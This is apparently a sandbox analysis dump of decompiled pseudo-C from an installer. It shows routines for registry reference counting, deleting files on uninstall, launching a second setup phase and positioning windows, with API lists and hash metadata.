                                                          				char _v24;
                                                          				int _v28;
                                                          				int _v32;
                                                          				char _v36;
                                                          				char* _v40;
                                                          				char _v44;
                                                          				char* _v48;
                                                          				char _v52;
                                                          				char _v56;
                                                          				char _v60;
                                                          				intOrPtr _v64;
                                                          				char* _v68;
                                                          				char _v72;
                                                          				char _v76;
                                                          				void* _t81;
                                                          				void* _t82;
                                                          				signed int _t92;
                                                          				void* _t96;
                                                          				void* _t125;
                                                          				void* _t130;
                                                          				void* _t162;
                                                          				intOrPtr _t184;
                                                          				intOrPtr _t186;
                                                          				void* _t199;
                                                          				void* _t201;
                                                          				void* _t202;
                                                          				intOrPtr _t203;
                                                          
                                                          				_t201 = _t202;
                                                          				_t203 = _t202 + 0xffffffb8;
                                                          				_v44 = 0;
                                                          				_v56 = 0;
                                                          				_v72 = 0;
                                                          				_v76 = 0;
                                                          				_v36 = 0;
                                                          				_v5 = __ecx;
                                                          				_t199 = __edx;
                                                          				_push(_t201);
                                                          				_push(0x452d73);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t203;
                                                          				_t82 = E0042DD50(_t81, "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs", 0x80000002,  &_v16,  &_v12, 0, 3, 0, 0, 0);
                                                          				_t168 = _t82;
                                                          				if(_t82 != 0) {
                                                          					E00451CA4(0x80000002,  &_v56);
                                                          					_v52 = _v56;
                                                          					_v48 = "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs";
                                                          					E00450C2C(0x3e, 1,  &_v52,  &_v44);
                                                          					E004036C4( &_v44, 0x452e04);
                                                          					_push( &_v44);
                                                          					_v68 = "RegCreateKeyEx";
                                                          					E00406E04(_t168,  &_v72);
                                                          					_v64 = _v72;
                                                          					E0042E7A4(_t168,  &_v76);
                                                          					_v60 = _v76;
                                                          					E00450C2C(0x34, 2,  &_v68,  &_v56);
                                                          					_pop(_t162);
                                                          					E004036C4(_t162, _v56);
                                                          					E00408DF0(_v44, 1);
                                                          					E00403264();
                                                          				}
                                                          				_v40 = E00403880(_t199);
                                                          				_v24 = 0;
                                                          				_v32 = 4;
                                                          				_push(_t201);
                                                          				_push(0x452caf);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t203;
                                                          				if(RegQueryValueExA(_v12, _v40, 0,  &_v28, 0,  &_v20) == 0) {
                                                          					_t125 = _v28 - 1;
                                                          					if(_t125 == 0) {
                                                          						if(E0042DCB8() != 0) {
                                                          							_v24 = E00406E34(_v36,  &_v36);
                                                          							_v32 = 1;
                                                          						}
                                                          					} else {
                                                          						_t130 = _t125 - 2;
                                                          						if(_t130 == 0) {
                                                          							if(_v20 >= 1 && _v20 <= 4) {
                                                          								if(RegQueryValueExA(_v12, _v40, 0, 0,  &_v24,  &_v20) != 0) {
                                                          									E00408DC4();
                                                          								}
                                                          								_v32 = 3;
                                                          							}
                                                          						} else {
                                                          							if(_t130 == 1) {
                                                          								_v20 = 4;
                                                          								if(RegQueryValueExA(_v12, _v40, 0, 0,  &_v24,  &_v20) != 0) {
                                                          									E00408DC4();
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				_t92 = 0;
                                                          				_pop(_t184);
                                                          				 *[fs:eax] = _t184;
                                                          				if(_v24 < 0) {
                                                          					_t92 = 0;
                                                          					_v24 = 0;
                                                          				}
                                                          				if(((_t92 & 0xffffff00 | _v24 == 0x00000000) & _v5) != 0) {
                                                          					_v24 = _v24 + 1;
                                                          				}
                                                          				_v24 = _v24 + 1;
                                                          				_t96 = _v32 - 1;
                                                          				if(_t96 == 0) {
                                                          					E00406E04(_v24,  &_v36);
                                                          					_push(E004036BC(_v36) + 1);
                                                          					_push(E00403880(_v36));
                                                          					_push(_v32);
                                                          					_push(0);
                                                          					_push(_v40);
                                                          					_push(_v12);
                                                          					L00405934();
                                                          				} else {
                                                          					if(_t96 + 0xfffffffe - 2 < 0) {
                                                          						_push(4);
                                                          						_push( &_v24);
                                                          						_push(_v32);
                                                          						_push(0);
                                                          						_push(_v40);
                                                          						_push(_v12);
                                                          						L00405934();
                                                          					}
                                                          				}
                                                          				RegCloseKey(_v12);
                                                          				_pop(_t186);
                                                          				 *[fs:eax] = _t186;
                                                          				_push(0x452d7a);
                                                          				E00403568( &_v76, 2);
                                                          				E00403548( &_v56);
                                                          				E00403548( &_v44);
                                                          				return E00403548( &_v36);
                                                          			}


































                                                          0x00452ad9
                                                          0x00452adb
                                                          0x00452ae3
                                                          0x00452ae6
                                                          0x00452ae9
                                                          0x00452aec
                                                          0x00452aef
                                                          0x00452af2
                                                          0x00452af5
                                                          0x00452af9
                                                          0x00452afa
                                                          0x00452aff
                                                          0x00452b02
                                                          0x00452b21
                                                          0x00452b26
                                                          0x00452b2a
                                                          0x00452b3c
                                                          0x00452b44
                                                          0x00452b4c
                                                          0x00452b59
                                                          0x00452b66
                                                          0x00452b6e
                                                          0x00452b78
                                                          0x00452b80
                                                          0x00452b88
                                                          0x00452b90
                                                          0x00452b98
                                                          0x00452ba5
                                                          0x00452bad
                                                          0x00452bae
                                                          0x00452bbd
                                                          0x00452bc2
                                                          0x00452bc2
                                                          0x00452bce
                                                          0x00452bd3
                                                          0x00452bd6
                                                          0x00452bdf
                                                          0x00452be0
                                                          0x00452be5
                                                          0x00452be8
                                                          0x00452c06
                                                          0x00452c0f
                                                          0x00452c10
                                                          0x00452c2f
                                                          0x00452c39
                                                          0x00452c3c
                                                          0x00452c3c
                                                          0x00452c12
                                                          0x00452c12
                                                          0x00452c15
                                                          0x00452c49
                                                          0x00452c6c
                                                          0x00452c6e
                                                          0x00452c6e
                                                          0x00452c73
                                                          0x00452c73
                                                          0x00452c17
                                                          0x00452c18
                                                          0x00452c7c
                                                          0x00452c9e
                                                          0x00452ca0
                                                          0x00452ca0
                                                          0x00452c9e
                                                          0x00452c18
                                                          0x00452c15
                                                          0x00452c10
                                                          0x00452ca5
                                                          0x00452ca7
                                                          0x00452caa
                                                          0x00452cc2
                                                          0x00452cc4
                                                          0x00452cc6
                                                          0x00452cc6
                                                          0x00452cd3
                                                          0x00452cd5
                                                          0x00452cd5
                                                          0x00452cd8
                                                          0x00452cde
                                                          0x00452cdf
                                                          0x00452cf1
                                                          0x00452cff
                                                          0x00452d08
                                                          0x00452d0c
                                                          0x00452d0d
                                                          0x00452d12
                                                          0x00452d16
                                                          0x00452d17
                                                          0x00452ce1
                                                          0x00452ce7
                                                          0x00452d1e
                                                          0x00452d23
                                                          0x00452d27
                                                          0x00452d28
                                                          0x00452d2d
                                                          0x00452d31
                                                          0x00452d32
                                                          0x00452d32
                                                          0x00452ce7
                                                          0x00452d3b
                                                          0x00452d42
                                                          0x00452d45
                                                          0x00452d48
                                                          0x00452d55
                                                          0x00452d5d
                                                          0x00452d65
                                                          0x00452d72

                                                          APIs
                                                            • Part of subcall function 0042DD50: 6CAA64E0.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DD7C
                                                          • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,00452CAF,?,00000000,00452D73), ref: 00452BFF
                                                          • RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,00452CAF,?,00000000,00452D73), ref: 00452D3B
                                                            • Part of subcall function 0042E7A4: FormatMessageA.KERNEL32(00003200,00000000,00000000,00000000,?,00000400,00000000,00000000,004500A0,00000000,004500ED,?,0044FE48,00000000,69465405), ref: 0042E7C3
                                                          Strings
                                                          • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452B47
                                                          • , xrefs: 00452B61
                                                          • Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00452B17
                                                          • RegCreateKeyEx, xrefs: 00452B73
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseFormatMessageQueryValue
                                                          • String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
                                                          • API String ID: 2240843642-1280779767
                                                          • Opcode ID: a555873e383ff542ace6cedc05f53156c3043bcafe857afcb8bdd9009b4f3021
                                                          • Instruction ID: da9dbf77a1f24fbd3379a4794ca1cf2bf9848e63082cc5553f13bb7f79a94942
                                                          • Opcode Fuzzy Hash: a555873e383ff542ace6cedc05f53156c3043bcafe857afcb8bdd9009b4f3021
                                                          • Instruction Fuzzy Hash: 7E811C75900209ABDF11DFA5C941BEEB7B8EF09305F10442BE901F7282D7789A09CB69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 84%
                                                          			E0045734C(char __eax, void* __ebx, char __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, char _a4, char _a8, intOrPtr _a12) {
                                                          				char _v5;
                                                          				char _v6;
                                                          				char _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				void* _t52;
                                                          				void* _t96;
                                                          				void* _t111;
                                                          				intOrPtr _t129;
                                                          				intOrPtr _t141;
                                                          				void* _t149;
                                                          				signed int _t150;
                                                          				char _t152;
                                                          				void* _t154;
                                                          				void* _t155;
                                                          				intOrPtr _t156;
                                                          
                                                          				_t148 = __edi;
                                                          				_t154 = _t155;
                                                          				_t156 = _t155 + 0xffffffec;
                                                          				_push(__edi);
                                                          				_v12 = 0;
                                                          				_v24 = 0;
                                                          				_v5 = __ecx;
                                                          				_t111 = __edx;
                                                          				_t152 = __eax;
                                                          				_push(_t154);
                                                          				_push(0x45758f);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t156;
                                                          				_v6 = 1;
                                                          				E0042C9E8(__eax, __ecx,  &_v12, __eflags);
                                                          				_t52 = E00406B28(_v12, 0x4575ac);
                                                          				_t158 = _t52;
                                                          				if(_t52 == 0) {
                                                          					E0042C6B8(_t152, _t111,  &_v12, 0x4575bc, __edi, _t152, _t158);
                                                          					E004513FC(_t111, _v12, _t158);
                                                          					E0042C6B8(_t152, _t111,  &_v12, 0x4575cc, __edi, _t152, _t158);
                                                          					E004513FC(_t111, _v12, _t158);
                                                          				}
                                                          				if(E00451830(_t111, _t152, _t158) == 0) {
                                                          					L19:
                                                          					_pop(_t129);
                                                          					 *[fs:eax] = _t129;
                                                          					_push(E00457596);
                                                          					E00403548( &_v24);
                                                          					return E00403548( &_v12);
                                                          				} else {
                                                          					_v20 = _t152;
                                                          					_v16 = 0xb;
                                                          					_t115 = 0;
                                                          					E00455A04("Deleting file: %s", _t111, 0,  &_v20, _t148, _t152);
                                                          					_t160 = _a4;
                                                          					if(_a4 != 0) {
                                                          						_t150 = E004515D4(_t111, _t152, _t160);
                                                          						if(_t150 != 0xffffffff) {
                                                          							_t162 = _t150 & 0x00000001;
                                                          							if((_t150 & 0x00000001) != 0) {
                                                          								_t115 = _t150 & 0xfffffffe;
                                                          								_t96 = E00451918(_t111, _t150 & 0xfffffffe, _t152, _t162);
                                                          								_t163 = _t96;
                                                          								if(_t96 == 0) {
                                                          									E00455814("Failed to strip read-only attribute.", _t111, _t150, _t152);
                                                          								} else {
                                                          									E00455814("Stripped read-only attribute.", _t111, _t150, _t152);
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          					if(E004513FC(_t111, _t152, _t163) != 0) {
                                                          						__eflags = _v5;
                                                          						if(_v5 != 0) {
                                                          							SHChangeNotify(4, 1, E00403880(_t152), 0);
                                                          							E0042C990(_t152, _t115,  &_v12);
                                                          							E0045463C( *((intOrPtr*)(_a12 - 0x14)), _t115, _v12);
                                                          						}
                                                          						goto L19;
                                                          					}
                                                          					_t149 = GetLastError();
                                                          					if(_a8 == 0 ||  *((char*)(_a12 - 1)) == 0) {
                                                          						L16:
                                                          						_v20 = _t149;
                                                          						_v16 = 0;
                                                          						E00455A04("Failed to delete the file; it may be in use (%d).", _t111, 0,  &_v20, _t149, _t152);
                                                          						_v6 = 0;
                                                          						goto L19;
                                                          					} else {
                                                          						if(_t149 == 5) {
                                                          							L14:
                                                          							if((E004515D4(_t111, _t152, _t168) & 0x00000001) != 0) {
                                                          								goto L16;
                                                          							}
                                                          							_v20 = _t149;
                                                          							_v16 = 0;
                                                          							E00455A04("The file appears to be in use (%d). Will delete on restart.", _t111, 0,  &_v20, _t149, _t152);
                                                          							_push(_t154);
                                                          							_push(0x4574ec);
                                                          							_push( *[fs:eax]);
                                                          							 *[fs:eax] = _t156;
                                                          							E00452300(_t111, _t111, _t152, _t149, _t152);
                                                          							 *((char*)( *((intOrPtr*)(_a12 - 8)) + 0x1c)) = 1;
                                                          							E0042C8F0(_t152,  &_v24);
                                                          							E0042C990(_v24, 0,  &_v12);
                                                          							E0045463C( *((intOrPtr*)(_a12 + 0xfffffffffffffff0)), _a12, _v12);
                                                          							_pop(_t141);
                                                          							 *[fs:eax] = _t141;
                                                          							goto L19;
                                                          						}
                                                          						_t168 = _t149 - 0x20;
                                                          						if(_t149 != 0x20) {
                                                          							goto L16;
                                                          						}
                                                          						goto L14;
                                                          					}
                                                          				}
                                                          			}




















                                                          0x0045734c
                                                          0x0045734d
                                                          0x0045734f
                                                          0x00457354
                                                          0x00457357
                                                          0x0045735a
                                                          0x0045735d
                                                          0x00457360
                                                          0x00457362
                                                          0x00457366
                                                          0x00457367
                                                          0x0045736c
                                                          0x0045736f
                                                          0x00457372
                                                          0x0045737b
                                                          0x00457388
                                                          0x0045738d
                                                          0x0045738f
                                                          0x0045739b
                                                          0x004573a5
                                                          0x004573b4
                                                          0x004573be
                                                          0x004573be
                                                          0x004573ce
                                                          0x00457571
                                                          0x00457573
                                                          0x00457576
                                                          0x00457579
                                                          0x00457581
                                                          0x0045758e
                                                          0x004573d4
                                                          0x004573d4
                                                          0x004573d7
                                                          0x004573de
                                                          0x004573e5
                                                          0x004573ea
                                                          0x004573ee
                                                          0x004573f9
                                                          0x004573fe
                                                          0x00457400
                                                          0x00457406
                                                          0x0045740a
                                                          0x00457411
                                                          0x00457416
                                                          0x00457418
                                                          0x0045742b
                                                          0x0045741a
                                                          0x0045741f
                                                          0x0045741f
                                                          0x00457418
                                                          0x00457406
                                                          0x004573fe
                                                          0x0045743b
                                                          0x00457540
                                                          0x00457544
                                                          0x00457554
                                                          0x0045755e
                                                          0x0045756c
                                                          0x0045756c
                                                          0x00000000
                                                          0x00457544
                                                          0x00457446
                                                          0x0045744c
                                                          0x00457524
                                                          0x00457524
                                                          0x00457527
                                                          0x00457535
                                                          0x0045753a
                                                          0x00000000
                                                          0x0045745f
                                                          0x00457462
                                                          0x0045746d
                                                          0x00457478
                                                          0x00000000
                                                          0x00000000
                                                          0x0045747e
                                                          0x00457481
                                                          0x0045748f
                                                          0x00457496
                                                          0x00457497
                                                          0x0045749c
                                                          0x0045749f
                                                          0x004574a8
                                                          0x004574b3
                                                          0x004574bc
                                                          0x004574c7
                                                          0x004574da
                                                          0x004574e1
                                                          0x004574e4
                                                          0x00000000
                                                          0x004574e4
                                                          0x00457464
                                                          0x00457467
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00457467
                                                          0x0045744c

                                                          APIs
                                                          • GetLastError.KERNEL32(00000000,0045758F,?,?,?,?), ref: 00457441
                                                            • Part of subcall function 004513FC: 6CAA5F60.KERNEL32(00000000,00000000,00451459,?,-00000001,?), ref: 00451433
                                                            • Part of subcall function 004513FC: GetLastError.KERNEL32(00000000,00000000,00451459,?,-00000001,?), ref: 0045143B
                                                            • Part of subcall function 00455814: GetLocalTime.KERNEL32(?,00000000,0045599B,?,?,0048DF10,00000000), ref: 00455844
                                                          Strings
                                                          • Stripped read-only attribute., xrefs: 0045741A
                                                          • .GID, xrefs: 00457394
                                                          • .FTS, xrefs: 004573AD
                                                          • Failed to strip read-only attribute., xrefs: 00457426
                                                          • .HLP, xrefs: 00457383
                                                          • Failed to delete the file; it may be in use (%d)., xrefs: 00457530
                                                          • Deleting file: %s, xrefs: 004573E0
                                                          • The file appears to be in use (%d). Will delete on restart., xrefs: 0045748A
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$LocalTime
                                                          • String ID: .FTS$.GID$.HLP$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
                                                          • API String ID: 3586426482-88052198
                                                          • Opcode ID: e9d1e1163e8f0ddbb37acde3e0e680194e15c915ee13dbea2003a49085ba12f1
                                                          • Instruction ID: 3227a4a011d5f66b2205ba73319beb8172ea49436f3625b92c0adb952f7f1a27
                                                          • Opcode Fuzzy Hash: e9d1e1163e8f0ddbb37acde3e0e680194e15c915ee13dbea2003a49085ba12f1
                                                          • Instruction Fuzzy Hash: C451D230B082486BCB01EB6998817AE7BA59F49315F50847BFC0197393D77C8E4DCB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 58%
                                                          			E004894F8(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				char _v8;
                                                          				struct HWND__* _v12;
                                                          				void* _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				struct HWND__* _v28;
                                                          				char _v32;
                                                          				char _v36;
                                                          				char _v40;
                                                          				intOrPtr _t39;
                                                          				void* _t40;
                                                          				struct HINSTANCE__* _t43;
                                                          				intOrPtr _t48;
                                                          				void* _t61;
                                                          				struct HWND__* _t69;
                                                          				intOrPtr _t73;
                                                          				intOrPtr _t92;
                                                          				intOrPtr _t94;
                                                          				void* _t98;
                                                          				void* _t99;
                                                          				intOrPtr _t100;
                                                          
                                                          				_t96 = __esi;
                                                          				_t95 = __edi;
                                                          				_t80 = __ecx;
                                                          				_t79 = __ebx;
                                                          				_t98 = _t99;
                                                          				_t100 = _t99 + 0xffffffdc;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v20 = 0;
                                                          				_v40 = 0;
                                                          				_v8 = 0;
                                                          				_push(_t98);
                                                          				_push(0x4896c9);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t100;
                                                          				E0042D990( &_v20, __ebx, __ecx, __edi, __esi);
                                                          				if(E00451FB0(_v20, _t79,  &_v8, _t95, _t96) == 0) {
                                                          					_push(_t98);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t100;
                                                          					E00452300(0, _t79, _v8, _t95, _t96);
                                                          					_pop(_t94);
                                                          					_t80 = 0x489555;
                                                          					 *[fs:eax] = _t94;
                                                          				}
                                                          				_push(0);
                                                          				_push(E00403880(_v8));
                                                          				_t39 =  *0x4ae328; // 0x0
                                                          				_t40 = E00403880(_t39);
                                                          				_push(_t40);
                                                          				L00405954();
                                                          				_t103 = _t40;
                                                          				if(_t40 == 0) {
                                                          					_t73 =  *0x48dcf4; // 0x21da684
                                                          					E00488D70(_t73, _t79, _t80, _t95, _t96, _t103);
                                                          				}
                                                          				_push(0x80);
                                                          				_push(E00403880(_v8));
                                                          				L00405BE4();
                                                          				_t43 =  *0x48d014; // 0x400000
                                                          				_v12 = CreateWindowExA(0, "STATIC", 0x4896d8, 0, 0, 0, 0, 0, 0, 0, _t43, 0);
                                                          				 *0x4ae350 = SetWindowLongA(_v12, 0xfffffffc, E00488F20);
                                                          				_push(_t98);
                                                          				_push(0x48969c);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t100;
                                                          				_t48 =  *0x48d628; // 0x21c2410
                                                          				SetWindowPos( *(_t48 + 0x20), 0, 0, 0, 0, 0, 0x97);
                                                          				E0042D468(0, _t79,  &_v40, _t95, _t96);
                                                          				_v36 = _v40;
                                                          				_v32 = 0xb;
                                                          				_v28 = _v12;
                                                          				_v24 = 0;
                                                          				E00407B08("/SECONDPHASE=\"%s\" /FIRSTPHASEWND=$%x ", 1,  &_v36,  &_v20);
                                                          				_push( &_v20);
                                                          				E0042D2D8( &_v40);
                                                          				_pop(_t61);
                                                          				E004036C4(_t61, _v40);
                                                          				_v16 = E00488E18(_v8, _t79, _v20, _t95, _t96, 0);
                                                          				do {
                                                          				} while (E00488EE4() == 0 && MsgWaitForMultipleObjects(1,  &_v16, 0, 0xffffffff, 0xff) == 1);
                                                          				CloseHandle(_v16);
                                                          				_pop(_t92);
                                                          				 *[fs:eax] = _t92;
                                                          				_push(E004896A3);
                                                          				_t69 = _v12;
                                                          				_push(_t69);
                                                          				L00405F6C();
                                                          				return _t69;
                                                          			}
























                                                          0x004894f8
                                                          0x004894f8
                                                          0x004894f8
                                                          0x004894f8
                                                          0x004894f9
                                                          0x004894fb
                                                          0x004894fe
                                                          0x004894ff
                                                          0x00489500
                                                          0x00489503
                                                          0x00489506
                                                          0x00489509
                                                          0x0048950e
                                                          0x0048950f
                                                          0x00489514
                                                          0x00489517
                                                          0x0048951d
                                                          0x0048952f
                                                          0x00489533
                                                          0x00489539
                                                          0x0048953c
                                                          0x00489546
                                                          0x0048954d
                                                          0x0048954f
                                                          0x00489550
                                                          0x00489550
                                                          0x0048955f
                                                          0x00489569
                                                          0x0048956a
                                                          0x0048956f
                                                          0x00489574
                                                          0x00489575
                                                          0x0048957a
                                                          0x0048957c
                                                          0x0048957e
                                                          0x00489583
                                                          0x00489583
                                                          0x00489588
                                                          0x00489595
                                                          0x00489596
                                                          0x0048959d
                                                          0x004895c2
                                                          0x004895d5
                                                          0x004895dc
                                                          0x004895dd
                                                          0x004895e2
                                                          0x004895e5
                                                          0x004895f7
                                                          0x00489600
                                                          0x0048960e
                                                          0x00489616
                                                          0x00489619
                                                          0x00489620
                                                          0x00489623
                                                          0x00489634
                                                          0x0048963c
                                                          0x00489640
                                                          0x00489648
                                                          0x00489649
                                                          0x00489659
                                                          0x0048965c
                                                          0x00489661
                                                          0x00489680
                                                          0x00489687
                                                          0x0048968a
                                                          0x0048968d
                                                          0x00489692
                                                          0x00489695
                                                          0x00489696
                                                          0x0048969b

                                                          APIs
                                                            • Part of subcall function 00451FB0: 6CAA5CA0.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,004896C9,_iu,?,00000000,004520EA), ref: 0045209F
                                                            • Part of subcall function 00451FB0: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,004896C9,_iu,?,00000000,004520EA), ref: 004520AF
                                                          • 6CAA5AA0.KERNEL32(00000000,00000000,00000000,00000000,004896C9), ref: 00489575
                                                          • 6CAA69D0.KERNEL32(00000000,00000080,00000000,00000000,00000000,00000000,004896C9), ref: 00489596
                                                          • CreateWindowExA.USER32 ref: 004895BD
                                                          • SetWindowLongA.USER32 ref: 004895D0
                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0048969C,?,?,000000FC,00488F20,00000000,STATIC,004896D8), ref: 00489600
                                                          • MsgWaitForMultipleObjects.USER32 ref: 00489674
                                                          • CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0048969C,?,?,000000FC,00488F20,00000000), ref: 00489680
                                                            • Part of subcall function 00452300: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004523E7
                                                          • 72E69840.USER32(?,004896A3,00000000,00000000,00000000,00000000,00000000,00000097,00000000,0048969C,?,?,000000FC,00488F20,00000000,STATIC), ref: 00489696
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$CloseHandle$CreateE69840LongMultipleObjectsPrivateProfileStringWaitWrite
                                                          • String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
                                                          • API String ID: 2316613676-2312673372
                                                          • Opcode ID: 6aed06ba62e7db57bb8660334e9152d14775fe0275a879ff382b347e4b9f41bf
                                                          • Instruction ID: f473d16e4bf1fef2551971249c877a9172a21eca7571e0471697ef7334523eec
                                                          • Opcode Fuzzy Hash: 6aed06ba62e7db57bb8660334e9152d14775fe0275a879ff382b347e4b9f41bf
                                                          • Instruction Fuzzy Hash: 2F413071A04604AFDB01FBA5CC52BAE77F8EB09714F50096AF510F72D1D779AE008B68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          • GetActiveWindow.USER32 ref: 0042EA7C
                                                          • GetModuleHandleA.KERNEL32(user32.dll), ref: 0042EA90
                                                          • 6CAA5550.KERNEL32(00000000,MonitorFromWindow,user32.dll), ref: 0042EA9D
                                                          • 6CAA5550.KERNEL32(00000000,GetMonitorInfoA,00000000,MonitorFromWindow,user32.dll), ref: 0042EAAA
                                                          • GetWindowRect.USER32 ref: 0042EAF6
                                                          • SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 0042EB34
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$A5550$ActiveHandleModuleRect
                                                          • String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
                                                          • API String ID: 3294132354-3407710046
                                                          • Opcode ID: 2cd2107e4866441c595d6730d51f86a74f5d9b62cd5ee3981dd78023a54cefad
                                                          • Instruction ID: 768ed85cd67202e5741d283b9a3b63fc6ba3d975ab7abdf05bd0f1df392ec8c4
                                                          • Opcode Fuzzy Hash: 2cd2107e4866441c595d6730d51f86a74f5d9b62cd5ee3981dd78023a54cefad
                                                          • Instruction Fuzzy Hash: B221C2717016246BD610EA69DCD2F3B7BD8EB88710F48062DF945EB3C5EA78EC018B59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 82%
                                                          			E0044D2F0(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, signed int _a4) {
                                                          				void* _v8;
                                                          				intOrPtr _v12;
                                                          				signed int _v13;
                                                          				int _v20;
                                                          				int _v24;
                                                          				signed int _v28;
                                                          				int _v32;
                                                          				signed int _v36;
                                                          				long _v40;
                                                          				signed int _v44;
                                                          				intOrPtr _v48;
                                                          				intOrPtr _v52;
                                                          				char _v56;
                                                          				int _v60;
                                                          				char _v64;
                                                          				int _v68;
                                                          				void _v72;
                                                          				struct tagRECT _v88;
                                                          				intOrPtr _v96;
                                                          				void _v104;
                                                          				struct tagRECT _v120;
                                                          				char _v124;
                                                          				void* _t256;
                                                          				signed int _t263;
                                                          				void* _t266;
                                                          				signed int _t278;
                                                          				int _t279;
                                                          				long _t327;
                                                          				long _t332;
                                                          				intOrPtr _t337;
                                                          				int _t339;
                                                          				void* _t350;
                                                          				void* _t352;
                                                          				void* _t406;
                                                          				signed int _t411;
                                                          				signed int _t412;
                                                          				int _t414;
                                                          				signed int _t431;
                                                          				intOrPtr _t452;
                                                          				int _t453;
                                                          				signed int _t455;
                                                          				signed int _t480;
                                                          				signed int _t481;
                                                          				intOrPtr _t482;
                                                          				intOrPtr _t489;
                                                          				signed int _t502;
                                                          				signed int _t503;
                                                          				intOrPtr _t504;
                                                          				signed int _t511;
                                                          				int _t514;
                                                          				void* _t522;
                                                          				long _t531;
                                                          				void* _t536;
                                                          				intOrPtr _t538;
                                                          				void* _t550;
                                                          				char _t554;
